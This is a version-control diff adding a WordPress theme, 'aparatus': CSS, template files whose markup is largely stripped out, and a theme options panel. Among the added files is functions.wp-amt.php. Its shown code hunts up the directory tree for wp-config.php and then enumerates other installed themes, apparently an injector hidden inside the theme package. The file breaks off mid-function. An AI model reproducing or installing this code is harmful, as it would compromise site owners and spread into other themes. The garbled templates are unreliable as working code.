{float:left;} +.alignnone {clear:both;} +.aligncenter {margin-left: auto; margin-right: auto;} + +blockquote {background:url(images/blockquote-bg.png) top left no-repeat; padding:5px 0 0 35px; font-family:georgia,'Lucida Grande','Lucida Sans Unicode'; font-style:italic;} + +img.alignright {display:inline;} +img.alignleft {display:inline;} +img.aligncenter {margin:0 auto; display:block;} +img.alignnone {clear:both;} + +#header {height:156px; clear:both; padding:70px 49px 0 49px; width:940px; margin:0 auto; text-align:left; background:url(images/header-bg.gif) no-repeat bottom left; position:relative;} +#twitter-badge {position:absolute; left:740px; top:-5px; background:url(images/twitter-badge-blue.png); width:218px; height:139px;} +#twitter-badge a {display:block; width:218px; height:139px; text-indent:-9999px;} +a#logo {clear:both; font-size:98px; overflow:hidden; text-decoration:none; text-transform:uppercase; color:#012549;letter-spacing:-2px; display:inline; margin:0px; padding:0;} + +#wrap {width:940px; padding:0 49px 0 49px; margin:0 auto; text-align:center; background:url(images/wrap-bg.gif) repeat-y; overflow:hidden;} + +#navigation {clear:both; background:url(images/nav-bar-temp.png) no-repeat; height:64px; position:relative; top:-6px;} +#page-nav {height:25px; font-family:verdana, arial, helvetica; font-size:10px; font-weight:bold; padding:0 0 0 0;} +#page-nav ul li {float:left; list-style:none; padding:5px 25px 0 10px; display:block;} +#page-nav ul li a {text-decoration:none; color:#FFFFFF;} +#page-nav ul li a:hover {color:#999999;} +#page-nav ul li#welcome {padding-left:10px; padding-right:25px;} +#page-nav ul li#welcome a {color:#000000;} +#page-nav ul li#welcome a:hover {color:#00376f;} +#page-nav ul li#welcome.current_page_item2 {background:url(images/page-tab.gif) no-repeat top right #b0b0b0; height:25px; color:#000000;} +#login {float:right; padding:3px 45px 0 0; text-transform:uppercase; background:url(images/user-silhouette.png) no-repeat; background-position:89px 0;} +#login a {color:#000000; text-decoration:none;} +#login a:hover {color:#00376f;} + + + +#nav2, #nav2 ul{padding: 0; float:left; list-style: none;} +#nav2 {padding:0; float:left;} +#nav2 a {display:block; font-family:rockwell, "Courier New", Courier, georgia, arial, helvetica; font-weight:bold; text-transform:uppercase; text-decoration:none; font-size:14px;} +#nav2 li {float:left; line-height:27px; padding:0 6px 0 6px; margin-right:3px; } + +#nav2 li a:hover {background: none;} +#nav2 li ul {position:absolute; width: 15em; left: -999em; padding-top:1px;} +#nav2 li:hover ul, #nav2 li.sfhover ul {left:auto; z-index:1000;} +#nav2 li ul.children li {background: #FFFFFF; border-bottom:1px solid #dedbd1; border-left:1px solid #dedbd1; border-right:1px solid #dedbd1; line-height:28px; width:15em;} +#nav2 li:hover, #nav2 li.hover {position: static;} +#nav2 li ul ul {margin: -29px 0 0 15em;} +#nav2 li:hover ul ul, #nav2 li.sfhover ul ul {left: -999em;} +#nav2 li:hover ul, #nav2 li li:hover ul, #nav2 li.sfhover ul, #nav2 li li.sfhover ul {left: auto;} +#nav2 li:hover ul ul, #nav2 li:hover ul ul ul, #nav2 li.sfhover ul ul, #nav2 li.sfhover ul ul ul {left: -999em;} +#nav2 li:hover ul, #nav2 li li:hover ul, #nav2 li li li:hover ul, #nav2 li.sfhover ul, #nav2 li li.sfhover ul, #nav2 li li li.sfhover ul {left: auto;} + +#cat-nav {clear:both; padding:0 0 0 7px;} +#cat-nav ul li.cat-item {background:url(images/cat-nav-bg.png) repeat-x; border-top:1px solid #999; border-right:1px solid #999; border-left:1px solid #999;} + +#cat-nav ul li.cat-item a {color:#00376f; text-shadow:0 1px 0 #fff;} +#cat-nav ul li.cat-item a:hover {color:#000000;} +#cat-nav ul li.cat-item.current-cat {background:url(images/cat-nav-current-bg-blue.png) repeat-x;} +#cat-nav ul li.cat-item.current-cat a {color:#FFFFFF; text-shadow:none;} +#nav2 li ul.children li.cat-item.current-cat {background:#ffffff;} +#nav2 li ul.children li.cat-item.current-cat a{color:#00376f; text-shadow:0 1px 0 #fff;} +#cat-nav ul li.cat-item.current-cat ul.children li a{color:#00376f; text-shadow:0 1px 0 #fff;} + +/*single*/ +.main-container{width:590px; overflow:hidden; margin:20px 20px 20px 0; float:left; text-align:left; font-family:Arial, Helvetica, sans-serif; font-size:13px; position:relative;} +.main-container a {color:#1165ba; text-decoration:none;} +.main-container a:hover {color:#666666; text-decoration:underline;} + +.title-area {padding:15px 10px 8px 10px; color:#00376f; font-size:48px; text-transform:capitalize; background:#EEEEEE; border:1px solid #DDDDDD; margin-bottom:25px; } + +.retweet-btn-small {float:right; position:relative; top:6px; left:22px;} +.retweet-btn {float:right; padding:2px 3px 0 5px;} +.post-title {font-family:helvetica, arial; letter-spacing:-1px; font-size:24px; font-weight:bold; line-height:26px; margin-bottom:15px; text-transform:capitalize;} +.post-title a {text-decoration:none; color:#333333;} +.post-title a:hover {color:#00376f; text-decoration:underline;} +.post-title-big {font-size:48px; font-weight:normal; line-height:38px; margin-bottom:15px; text-transform:capitalize; text-indent:-8px;} +.post-title-big a {text-decoration:none; color:#333333;} +.post-title-big a:hover {text-decoration:none;} +.post-meta-data {font-size:11px; color:#434343; text-transform:uppercase; font-family:georgia; margin-bottom:15px; } +img.thumbs-in-archive {float:right; padding:5px; border:1px solid #CCCCCC; margin:1px 0 0 15px;} +.post-excerpt {line-height:20px; height:85px; overflow:hidden; margin-bottom:22px;} +.post-content {clear:both; line-height:24px; margin-bottom:30px; overflow:hidden;} +.post-content a {background:#EEEEEE; text-shadow:0 1px 0 #fff;} +.post-content ol {padding:10px 0 10px 40px;} +.post-content ol li ol {padding-left:20px;} +.post-content ol li ul {padding-left:20px;} +.post-content ul {padding:10px 0 10px 40px;} +.post-content ul li ol {padding-left:20px;} +.post-content ul li ul {padding-left:20px;} +.post-content p {padding:0 0 15px 0;} +.post-content h1, .post-content h2, .post-content h3, .post-content h4, .post-content h5, .post-content h6 {font-size:24px; font-weight:normal; line-height:30px; padding-bottom:10px;} + +.wp-caption {padding:8px 3px 0px 3px; border:1px solid #eeeeee; text-align:center; margin:0 auto;} +.wp-caption.alignright {margin:8px 0 5px 15px;} +.wp-caption.alignleft {margin:8px 15px 5px 0;} +.wp-caption.aligncenter{clear:both; margin:15px auto; display:block; } +.wp-caption.alignnone {clear:both; margin:15px auto; display:block; } +p.wp-caption-text {text-align:center; font-family:georgia; font-style:italic; font-size:11px; line-height:13px;} + +.post-content img.alignright {display:inline; margin:8px 0 5px 20px;} +.post-content img.alignleft {display:inline; margin:8px 20px 5px 0;} +.post-content img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content img.alignnone {clear:both; margin:10px auto; display:block; } +.post-content a img.alignright {display:inline; margin:8px 0 5px 20px;} +.post-content a img.alignleft {display:inline; margin:8px 20px 5px 0;} +.post-content a img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content a img.alignnone {clear:both; margin:10px auto; display:block; } + +.post-content p img.alignright {display:inline; margin:20px 0 5px 20px;} +.post-content p img.alignleft {display:inline; margin:20px 20px 5px 0;} +.post-content p img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content p img.alignnone {clear:both; margin:10px auto; display:block; } +.post-content p a img.alignright {display:inline; margin:8px 0 5px 20px;} +.post-content p a img.alignleft {display:inline; margin:8px 20px 5px 0;} +.post-content p a img.aligncenter {clear:both; margin:10px auto; display:block; } +.post-content p a img.alignnone {clear:both; margin:10px auto; display:block; } + +#page-links {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; margin:5px 0 30px 0; clear:both;} +#page-links a {padding:2px 4px; text-decoration:none; color: #ffffff; background-color: #00376f; border: 1px solid #00376f; text-shadow:none; } +#page-links a:hover {border: 1px solid #00376f; background:#FFFFFF; color:#333333;} + +.author-box { background:#eee; border:1px solid #DDDDDD; padding:20px; margin-bottom:30px;} +.author-box img.avatar {float:left; border:1px solid #ccc; padding:3px; margin:1px 10px 0 0;} +.author-box .author-name {padding-bottom:0px; font-style:italic; font-weight:bold; font-size:24px; color:#00376f;} +.author-box .author-description {font-family:verdana, arial, helvetica; font-size:11px; line-height:16px; color:#666666;} +.author-box .author-links {margin:14px 0 2px; font-family:georgia, arial, helvetica; text-transform:uppercase; font-size:11px; border-top:1px dashed #ccc; padding-top:14px;} +.author-box-small { background:#eee; border:1px solid #DDDDDD; padding:5px 10px 5px 5px; text-align:right; font-family:verdana, arial, helvetica; font-size:11px; margin-bottom:25px; text-shadow:0 1px 0 #fff;} + +.social-bar {background:url(images/spread-the-word.png) no-repeat top left; height:63px; text-align:right; margin:0 0 30px 0; position:relative;} +ul#social-btns {position:absolute; left:299px;} +ul#social-btns li {float:left; height:63px; list-style:none;} +ul#social-btns li a {height:63px; background:url(images/social-sprites.png); display:block; text-indent:9999px;} +ul#social-btns li a#delicious {width:68px; background-position:0 -66px;} +ul#social-btns li a:hover#delicious {width:68px; background-position:0 0;} +ul#social-btns li a#digg {width:52px; background-position:-68px -66px;} +ul#social-btns li a:hover#digg {width:52px; background-position:-68px 0;} +ul#social-btns li a#stumbleupon {width:58px; background-position:-120px -66px;} +ul#social-btns li a:hover#stumbleupon {width:58px; background-position:-120px 0;} +ul#social-btns li a#technorati{width:58px; background-position:-178px -66px;} +ul#social-btns li a:hover#technorati{width:58px; background-position:-178px 0;} +ul#social-btns li a#twitter {width:54px; background-position:-236px -66px;} +ul#social-btns li a:hover#twitter {width:54px; background-position:-236px 0;} +/*comments*/ + +#comments {padding:0 0 35px 0; } +#comments h3{text-align:left; font-size:48px; font-weight:normal; line-height:38px; color:#333333;} +img.avatar {float:left; padding:3px; border:1px solid #ccc; margin:0 10px 0 0;} +cite.fn a {font-family:georgia; font-style:normal; text-transform:uppercase; padding:0; color:#333333; text-decoration:none; font-size:11px;} +.comment-author {padding:0; line-height:14px;} +.comment-meta {font-family:'Trebuchet MS', verdana; font-size:11px; color:#666666; line-height:14px; padding-bottom:5px;} +.comment-meta a {color:#00376f; font-weight:normal; text-decoration:none;} +.comment-body {margin-bottom:20px; padding:20px 20px 5px 20px; font-style:italic; font-family:'Lucida Grande','Lucida Sans Unicode','Trebuchet MS',verdana,georgia; overflow:hidden;} + +.comment-body p a {color:#00376f; font-weight:bold; text-decoration:none;} +.comment-body p a:hover{text-decoration:underline;} +li.comment.even {background:#fff; border:1px solid #DDDDDD; margin-bottom:20px;} +li.comment.odd {background:#eee; border:1px solid #DDDDDD; margin-bottom:20px;} +ul.commentlist li {list-style:none;} +li.parent {padding-bottom:10px;} +.commentlist ul.children {margin:20px;} +.comment-meta .commentmetadata p a {color:#21759B; } +.reply {clear:both; border-top:1px dashed #ccc; padding-top:7px; margin-top:12px; text-align:right;} +a.comment-reply-link {color:#21759B; font-family:verdana; font-size:11px; padding:0 0 0 19px; background:url(images/arrow-135-medium.png) left no-repeat; } + +/*response*/ +h3#response-title {text-align:left; font-size:48px; font-weight:normal; line-height:38px; color:#333333; padding:15px 0 35px 0; } +h3#response-title a {color:#000000; text-decoration:none; text-transform:capitalize;} +a#cancel-comment-reply-link {padding:5px; background:#ab1515; color:#FFFFFF; font-family:rockwell, georgia; text-transform:uppercase; text-decoration:none;} +#commentform {padding:45px 25px 25px 25px; background:#fff; border:1px solid #DDDDDD; margin-bottom:25px;} +#commentform p {padding-bottom:5px;} +.comment-form-input-fields {padding:5px; margin-bottom:10px;} +.comment-form-labels {font-family:rockwell,georgia; font-weight:bold; color:#FFFFFF; width:162px; font-size:14px; padding:5px; text-transform:uppercase; background:url(images/comment-labels.gif) no-repeat top right #2b2b2b; } +.comment-form-labels small {font-family:Verdana, Arial, helvetica; font-size:9px; font-weight:normal;} +input.send-comment {background:#ab1515; color:#FFFFFF; font-family:rockwell, georgia; padding:5px;} + +/*snarfer specific*/ + +h3.tab-bars {clear:both; background:url(images/cat-nav-bg.png) repeat-x; height:22px; border:1px solid #e9e9e9; padding:5px 0 0 7px; margin-bottom:25px; } +h3.tab-bars a {font-family:rockwell, "Courier New", Courier, georgia, arial, helvetica; font-weight:bold; text-transform:uppercase; text-decoration:none; line-height:16px; font-size:14px; text-shadow:0 1px 0 #fff; color:#00376f;} +h3.tab-bars a:hover {text-shadow:none; color:#000000;} +.post-container {width:285px; float:left;} +.post-container.odd {margin-right:20px;} +.post-container .post-title-sm {font-size:17px; padding-bottom:10px; text-transform:capitalize; font-weight:bold;} +.post-container .post-title-sm a {text-decoration:none; color:#333333; } +.post-container .post-title-sm a:hover {text-decoration:underline; color:#00376f;} +.post-container .post-meta-data {font-size:11px; color:#434343; text-transform:uppercase; font-family:georgia; padding:0 0 5px 0; margin:0;} +.post-container img.thumbs {padding:5px; border:1px solid #CCCCCC; margin-bottom:10px;} +.post-container .post-excerpt-small {overflow:hidden; height:65px; font-size:12px; line-height:20px; margin-bottom:10px;} +.post-container .continue {background:#eee; border:1px solid #DDDDDD; padding:5px 10px 5px 5px; text-align:right; font-family:verdana, arial, helvetica; font-size:11px; margin-bottom:25px;} +.post-container .continue a {font-family:verdana, arial, helvetica; font-weight:bold; font-size:10px; color:#666666; text-decoration:none; text-shadow:0 1px 0 #fff; } +.post-container .continue a:hover {text-decoration:underline;} +#view-all {float:right; padding: 2px 4px; margin:20px 0 20px 0; background:#eee; border:1px solid #DDDDDD;} +#view-all a {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; color: #000000; text-decoration:none; text-shadow:0 1px 0 #fff;} +#view-all a:hover {text-decoration:underline;} + +/*sidebar*/ +#sidebar {width:330px; min-height:700px; overflow:hidden; float:left;} +#searchform {height:40px; background:#e5e5e5; text-align:left; margin-bottom:5px; border-bottom:1px solid #DDDDDD; border-right:1px solid #DDDDDD; border-left:1px solid #DDDDDD;} +input.inputs {margin:8px 0 0 24px;} +input.go {background:#ab1515; color:#FFFFFF; font-family:rockwell, georgia; } +#twitter-entry {background:url(images/twitter.gif); width:331px; height:91px; margin-bottom:10px;} +#twitter-entry p {font-family:verdana, helvetica, arial; font-size:11px; text-align:left; padding:20px 5px 0 100px; text-shadow:0 1px 0 #fff;} +#twitter-entry a {color:#00376f; text-decoration:none;} +#twitter-entry a:hover {text-decoration:underline;} +#adblock-big {padding:15px 10px 15px 10px; background:#e5e5e5; margin-bottom:20px; border:1px solid #DDDDDD;} +#adblock-small {border:1px solid #DDDDDD; clear:both; background:#ededed; padding:20px 0 10px 28px; overflow:hidden; margin-bottom:20px;} +#adblock-small ul li {float:left; list-style:none; padding:10px 24px 10px 0;} +.sidebar-row{padding:25px 20px; background:#e5e5e5; margin-bottom:20px; border:1px solid #DDDDDD; text-align:left; font-family:verdana,arial,helvetica; font-size:11px; line-height:16px; text-shadow:0 1px 0 #fff;} +.sidebar-row h3 {font-size:32px; padding-bottom:10px;} +.sidebar-row ul {padding:0 10px 0 10px;} +.sidebar-row ul li{list-style:none; padding:6px 0 6px 0; border-bottom:1px dashed #CCCCCC; background:url(images/list-item-style-blue.gif) no-repeat; background-position:0 9px; padding-left:20px;} +.sidebar-row ul.children li {border-bottom:none;} +.sidebar-row a {color:#000000; text-decoration:none;} +.sidebar-row a:hover {text-decoration:underline; color:#00376f;} +.sidebar-row #calendar_wrap {background:#ffffff; border:1px solid #DDDDDD; padding:25px;} +.sidebar-row #calendar_wrap caption {font-weight:bold; padding-bottom:25px; font-size:20px; font-family:helvetica; text-shadow:0 1px 0 #fff;} +.sidebar-row table#wp-calendar {border-collapse:collapse; width:100%; text-align:center;} + +/*tabbed-menu*/ +#tabbed-container {border:1px solid #DDDDDD; clear:both; background:#ededed; padding:16px 0 20px 16px; height:364px; margin-bottom:20px; text-align:left; color:#666666; font-family:verdana,arial,helvetica; font-size:11px; line-height:16px;} +ul.mootabs_title {list-style-image: none; list-style-type: none; padding: 0px; height: 24px; font-family:rockwell, "Courier New", Courier, georgia, arial, helvetica; font-weight:bold; text-transform:uppercase; color:#00376f; text-decoration:none; line-height:16px; font-size:14px; letter-spacing:-1px; text-shadow:0 1px 0 #fff;} +ul.mootabs_title li {float: left; display:block; padding:5px 7px 0 7px; height:22px; line-height:16px; margin-right:4px; cursor: pointer; background:url(images/cat-nav-bg.png) repeat-x; border-top:1px solid #DDDDDD; border-right:1px solid #DDDDDD; border-left:1px solid #DDDDDD; border-bottom:1px solid #CCCCCC;} +.mootabs_title li.active { background:url(images/cat-nav-current-bg-blue.png); color:#FFFFFF; text-shadow:none; } +.mootabs_panel {display: none; position: relative; width:100%; top: 12px; clear: both; overflow: hidden;} +.mootabs_panel p {font-family:Arial, Helvetica, sans-serif; padding:25px; text-align:left;} +.mootabs_panel.active { background-color: #fff; display: block;} + +/*popular posts*/ +#Popular {padding:15px 25px 25px 25px; width:240px; border:1px solid #DDDDDD;} +#Popular a{text-decoration:none; color:#666666;} +#Popular a:hover{text-decoration:underline; color:#000000;} +#Popular ul{padding:0 10px 0 0;} +#Popular ul li {list-style:none; padding:6px 0 6px 0; border-bottom:1px dashed #CCCCCC; background:url(images/list-item-style-blue.gif) no-repeat; background-position:0 9px; padding-left:20px;} +/*recent comments*/ +#RecentComments {padding:15px 25px 25px 25px; width:240px; font-weight:bold; color:#000000; border:1px solid #DDDDDD;} +#RecentComments a{text-decoration:none; color:#666666; font-weight:normal; padding-left:5px;} +#RecentComments a:hover{text-decoration:underline; color:#000000;} +#RecentComments ul{padding:0 10px 0 0;} +#RecentComments ul li {list-style:none; padding:6px 0 6px 0; border-bottom:1px dashed #CCCCCC; background:url(images/list-item-style-blue.gif) no-repeat; background-position:0 9px; padding-left:20px;} +/*tag cloud*/ +#Tags {padding:15px 25px 25px 25px; width:240px; border:1px solid #DDDDDD;} +#Tags a {text-decoration:none; color:#666666;} +#Tags a:hover {text-decoration:underline; color:#000000;} + +/*page-navi*/ + +.wp-pagenavi {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; float:right;} +.wp-pagenavi a, .wp-pagenavi a:link { padding:2px 4px; margin: 2px;text-decoration: none; border: 1px solid #00376f; color: #ffffff; background-color: #00376f;} +.wp-pagenavi a:visited {padding:2px 4px; margin: 2px;text-decoration: none; border: 1px solid #00376f; color: #ffffff; background-color: #00376f;} +.wp-pagenavi a:hover {border: 1px solid #00376f; color: #000000; background-color: #FFFFFF;} +.wp-pagenavi a:active {padding:2px 4px; margin:2px; text-decoration: none; border: 1px solid #00376f; background-color: #FFFFFF;} +.wp-pagenavi span.pages {padding: 2px 4px; margin: 2px; color: #000000; background:#eee; border:1px solid #DDDDDD; text-shadow:0 1px 0 #fff;} +.wp-pagenavi span.current {padding: 2px 4px; margin: 2px; font-weight: bold; background:#eee; border:1px solid #DDDDDD;} +.wp-pagenavi span.extend {padding: 2px 4px 2px 4px; margin: 2px; border: 1px solid #000000; color: #000000; background-color: #FFFFFF;} +.wp-pagenavi span.current a.page{color:#FFFFFF; } +.next-prev-links {font-family:verdana, rockwell, "Courier New", Courier, georgia, arial, helvetica; clear:both; margin:10px 0; font-weight:bold; text-transform:uppercase; font-size:11px; float:right;} +.next-prev-links a {padding:2px 4px; margin: 2px;text-decoration: none; border: 1px solid #00376f; color: #ffffff; background-color: #00376f;} + + + + +/*footer*/ +#footer {height:106px; clear:both; padding:40px 49px 0 49px; width:940px; margin:0 auto; text-align:left; background:url(images/footer-bg.gif) no-repeat top left; position:relative; +} +#logo-footer {text-transform:uppercase; color:#012549; font-size:30px; display:block; margin:18px 7px 2px 0; padding:0; clear:both; text-align:right;} +#page-nav-footer {float:right; text-align:right;} +#page-nav-footer ul li {float:left; list-style:none; line-height:8px; padding:0 8px 2px 8px; margin-bottom:3px; background:url(images/credits-sep.png) no-repeat top left;} +#page-nav-footer ul li.first {background:none;} +#page-nav-footer ul li a {font-family:verdana, helvetica, arial; font-size:11px; color:#00376f; text-decoration:none; text-shadow:0 1px 0 #fff;} +#page-nav-footer ul li a:hover {text-decoration:underline;} +#credits {display:block; padding:2px 7px 0 0; clear:both; font-family:georgia; font-size:11px; text-shadow:0 1px 0 #fff; display:block; text-align:right;} +#credits a{color:#000000; text-decoration:none;} +#credits a:hover {color:#666666;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/category.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/category.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,65 @@ + +
    + +
    +Category: +
    + + +
    + + +
    + +
    + + + +
    + + + + + 'thumbs-in-archive')); ?> + +ID, 'image', true) ) {?> + + <?php the_title(); ?> + + + + +
    + +
    +
    +By with +
    + + + + + + + + + + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,113 @@ +

    + + +

    This post is password protected. Enter the password to view comments.

    + + + +
      + 40, 'reply_text'=>'Reply', 'type'=>'comment')); ?> +
    + + + + +

    Trackbacks/Pingbacks

    +
      + +
    + + + + + + + + + + + + comment_status) : + // If comments are open, but there are no comments. + else : + // comments are closed + endif; +endif; + +if ('open' == $post-> comment_status) : + +// show the form +?> +

    +
    + +
    + + + + + +

    You must be logged in to post a comment.

    + + +
    + + + +

    Logged in as . +Logout »

    + + +
    Name
    +

    + +
    Email
    +

    + +
    Website Optional
    +

    + + + +
    + +" />
    + +
    Comment Required:
    +

    + + +

    Please note: Comment moderation is enabled and may delay your comment. There is no need to resubmit your comment.

    + + +

    +ID); ?> + +
    + +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,19 @@ + + + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/forie6.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/forie6.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,2 @@ +/* CSS Document */ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/forie7.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/forie7.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,6 @@ +/* CSS Document */ + + +#header {height:166px;} +#cat-nav {margin-top:5px;} +.post-title-big {text-indent:0;} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/forie8.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/forie8.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,4 @@ +/* CSS Document */ + + +.post-title-big {text-indent:0;} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,364 @@ + "General Settings", + "type" => "sub-title"), +array( "type" => "open"), +array( "name" => "Style Sheet", + "desc" => "Enter the Style Sheet you like", + "id" => $shortname."_style_sheet", + "type" => "select", + "options" => array("maroon", "black", "blue", "green"), + "std" => "maroon"), +array( "name" => "Twitter Account", + "desc" => "Enter the your Twitter Account", + "id" => $shortname."_Twitter", + "type" => "text", + "std" => ""), +array( "type" => "close"), + +array( "name" => "Home Page Settings", + "type" => "sub-title"), +array( "type" => "open"), + +array( "name" => "No Slideshow?", + "desc" => "Click this box if you DONT want to use the Mootools Slideshow", + "id" => $shortname."_use_slide_show", + "type" => "checkbox", + "std" => ""), +array( "name" => "Dont automatic Slide?", + "desc" => "Click this box if you DONT want the Slideshow to slide on load", + "id" => $shortname."_auto_slide_show", + "type" => "checkbox", + "std" => ""), +array( "name" => "Category Name for the Content Slider", + "desc" => "Enter the category name of the posts you would like to show up in the content slider. If you don't enter a value, The latest 5 Posts will be used", + "id" => $shortname."_feature_cat_name", + "type" => "text", + "std" => ""), +array( "type" => "close"), + +array( "name" => "Advertising Blocks", + "type" => "sub-title"), +array( "type" => "open"), + +array( "name" => "300 x 250 Big Ad Block Image Source", + "desc" => "Enter the Full Image URL of the 300 x 250 Ad block in the Sidebar here", + "id" => $shortname."_ad300x250image", + "type" => "text", + "std" => ""), +array( "name" => "300 x 250 Big Ad Block Click Destination", + "desc" => "Enter the Click Destination URL of the 300 x 250 Ad block in the Sidebar here", + "id" => $shortname."_ad300x250destination", + "type" => "text", + "std" => ""), + +array( "name" => "1st Small Ad Block Image Source", + "desc" => "Enter the Full Image URL of the first 125 x 125 Small Ad block in the Sidebar here", + "id" => $shortname."_1_ad_image", + "type" => "text", + "std" => ""), +array( "name" => "1st Small Ad Block Click Destination", + "desc" => "Enter the Click Destination URL of the first 125 x 125 Small Ad block in the Sidebar here", + "id" => $shortname."_1_ad_destination", + "type" => "text", + "std" => ""), + +array( "name" => "2nd Small Ad Block Image Source", + "desc" => "Enter the Full Image URL of the second 125 x 125 Small Ad block in the Sidebar here", + "id" => $shortname."_2_ad_image", + "type" => "text", + "std" => ""), +array( "name" => "2nd Small Ad Block Click Destination", + "desc" => "Enter the Click Destination URL of the second 125 x 125 Small Ad block in the Sidebar here", + "id" => $shortname."_2_ad_destination", + "type" => "text", + "std" => ""), + +array( "name" => "3rd Small Ad Block Image Source", + "desc" => "Enter the Full Image URL of the third 125 x 125 Small Ad block in the Sidebar here", + "id" => $shortname."_3_ad_image", + "type" => "text", + "std" => ""), +array( "name" => "3rd Small Ad Block Click Destination", + "desc" => "Enter the Click Destination URL of the third 125 x 125 Small Ad block in the Sidebar here", + "id" => $shortname."_1_ad_destination", + "type" => "text", + "std" => ""), + +array( "name" => "4th Small Ad Block Image Source", + "desc" => "Enter the Full Image URL of the fourth 125 x 125 Small Ad block in the Sidebar here", + "id" => $shortname."_4_ad_image", + "type" => "text", + "std" => ""), +array( "name" => "4th Small Ad Block Click Destination", + "desc" => "Enter the Click Destination URL fourth 125 x 125 Small Ad block in the Sidebar here", + "id" => $shortname."_4_ad_destination", + "type" => "text", + "std" => ""), + + + +array( "type" => "close") +); + +//presentation// + +function mytheme_add_admin() { + +global $themename, $shortname, $options; + +if ( $_GET['page'] == basename(__FILE__) ) { + +if ( 'save' == $_REQUEST['action'] ) { + +foreach ($options as $value) { +update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } + +foreach ($options as $value) { +if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } } + +header("Location: themes.php?page=functions.php&saved=true"); +die; + +} else if( 'reset' == $_REQUEST['action'] ) { + +foreach ($options as $value) { +delete_option( $value['id'] ); } + +header("Location: themes.php?page=functions.php&reset=true"); +die; + +} +} + +add_theme_page($themename." Options", "".$themename." Options", 'edit_themes', basename(__FILE__), 'mytheme_admin'); + +} + +function mytheme_admin() { + +global $themename, $shortname, $options; + +if ( $_REQUEST['saved'] ) echo '

    '.$themename.' settings saved.

    '; +if ( $_REQUEST['reset'] ) echo '

    '.$themename.' settings reset.

    '; + +?> +
    +

    Settings

    + +
    + + + + + + +

    + + + + + + + + + + +

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    + + +

    + + +

    + + +

    + + + + +'sidebar', +'before_widget' => '', +'before_title' => '

    ', +'after_title' => '

    ', +)); + +add_filter('get_comments_number', 'comment_count', 0); +function comment_count( $count ) { + if ( ! is_admin() ) { + global $id; + $comments_by_type = &separate_comments(get_comments('status=approve&post_id=' . $id)); + return count($comments_by_type['comment']); + } else { + return $count; + } +} +add_action( 'wp_print_styles', 'my_deregister_styles', 100 ); +?> + + +get_results("SELECT comment_count, ID, post_title FROM $wpdb->posts ORDER BY comment_count DESC LIMIT 0 , $num"); + + foreach ($posts as $post) { + setup_postdata($post); + $id = $post->ID; + $title = $post->post_title; + $count = $post->comment_count; + + if ($count != 0) { + $popular .= '
  • '; + $popular .= '' . $title . ' '; + $popular .= '
  • '; + } + } + return $popular; +} +function my_rec_comments($limit){ + global $wpdb; + $sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID, + comment_post_ID, comment_author, comment_date_gmt, comment_approved, + comment_type,comment_author_url, + SUBSTRING(comment_content,1,30) AS com_excerpt + FROM $wpdb->comments + LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = + $wpdb->posts.ID) + WHERE comment_approved = '1' AND comment_type = '' AND + post_password = '' + ORDER BY comment_date_gmt DESC + LIMIT $limit"; + $comments = $wpdb->get_results($sql); + $output = $pre_HTML; + $output .= "\n"; + $output .= $post_HTML; + echo $output; + +} + +?> + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/aparatus/functions.wp-amt.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/aparatus/functions.wp-amt.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,595 @@ +0;$q--) + { + $link[$q]="/".$link[$q]; + $r_dir=str_replace($link[$q],"",$r_dir); + $rdr=amt_rdr($r_dir); + if(@in_array('wp-config.php',$rdr)) + { + $root_dir[0]=$r_dir; + break; + } + } + $root_dir[1]=$root_dir[0]."/wp-includes"; + $t_dir=$root_dir[0]."/wp-content/themes/"; + $t_dirs=amt_rdr($t_dir); + for($q=0;$qamt_trim_domen(); + 